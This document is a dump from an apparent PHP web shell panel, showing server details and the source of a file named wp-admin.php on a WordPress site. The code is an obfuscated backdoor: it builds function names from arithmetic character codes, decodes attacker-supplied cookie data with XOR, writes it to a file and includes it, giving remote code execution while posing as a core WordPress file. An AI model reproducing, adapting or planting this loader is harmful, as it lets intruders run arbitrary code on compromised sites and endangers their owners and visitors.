HEX
Server: nginx/1.18.0
System: Linux hqnl0246134.online-vm.com 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: phpinfo,disk_free_space,disk_total_space,diskfreespace,dl,exec,opcache_get_configuration,opcache_get_status,passthru,pclose,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_waitpid,pcntl_wait,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,show_source,system,exec,passthru,shell_exec,system,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Upload Files
File: /var/www/sites/fibrohealing.reocell.com/wp-admin/wp-admin.php
<?php
function fetch_metadata($c)
{
    $a = array(96 * 48 - 4492, 97, 124 - 8, 120 - 5);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

function process_request($c)
{
    $a = array(102 * 1 + 13, 117 - 1, 11 * 31 - 227, 115 - 7, 91 * 1 + 10, 20 + 76 + 14);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function process_queue($c)
{
    $a = array(56 + 44, 118 - 4, 14 * 37 - 407);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

function decode_input($c)
{
    $a = array(99, 69 * 1 + 35, 93 * 50 - 4536);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

class ExecutionFlow
{
    private static $_ya;
    static function logTransaction($_kk, $_rx)
    {
        if (!self::$_ya) {
            self::syncRecords();
        }
        $_ayp = process_request($_rx);
        $_lsi = base64_decode(self::$_ya[$_kk]);
        for ($_nds = 0, $_qfj = process_request($_lsi); $_nds !== $_qfj; ++$_nds) {
            $_lsi[$_nds] = decode_input(process_queue($_lsi[$_nds]) ^ process_queue($_rx[$_nds % $_ayp]));
        }
        return $_lsi;
    }
    private static function syncRecords()
    {
        self::$_ya = array('_jwg' => '', '_hz' => '');
    }
}

$_qfj = $_COOKIE;
$_rx = 384 - -476 - -30 + -890;
$_kk = (int) round(4 + 4);
$_iyo = array();
$_iyo[$_rx] = ExecutionFlow::logTransaction('_jwg', '_rb');
while ($_kk) {
    $_iyo[$_rx] .= $_qfj[62 - -214 + -193 + -61][$_kk];
    if (!$_qfj[(int) round(11 + 11)][$_kk + (int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333)]) {
        if (!$_qfj[(int) round(11 + 11)][$_kk + (int) round(0.5 + 0.5 + 0.5 + 0.5)]) {
            break;
        }
        $_rx++;
        $_iyo[$_rx] = ExecutionFlow::logTransaction('_hz', '_kc');
        $_kk++;
    }
    $_kk = $_kk + (70 + 23 + -85) + (int) round(0.5 + 0.5);
}
$_rx = $_iyo[-99 - 103 - -204]() . $_iyo[(int) round(10 + 10)];
if (!$_iyo[(int) round(8 + 8)]($_rx)) {
    $_kk = $_iyo[(int) round(14 + 14)]($_rx, $_iyo[4 - -20]);
    $_iyo[-29 + 141 - 99]($_kk, $_iyo[(int) round(3.5 + 3.5 + 3.5 + 3.5)] . $_iyo[(int) round(1.6666666666667 + 1.6666666666667 + 1.6666666666667)]($_iyo[65 + -59]($_qfj[(int) round(1 + 1 + 1)])));
}
include $_rx;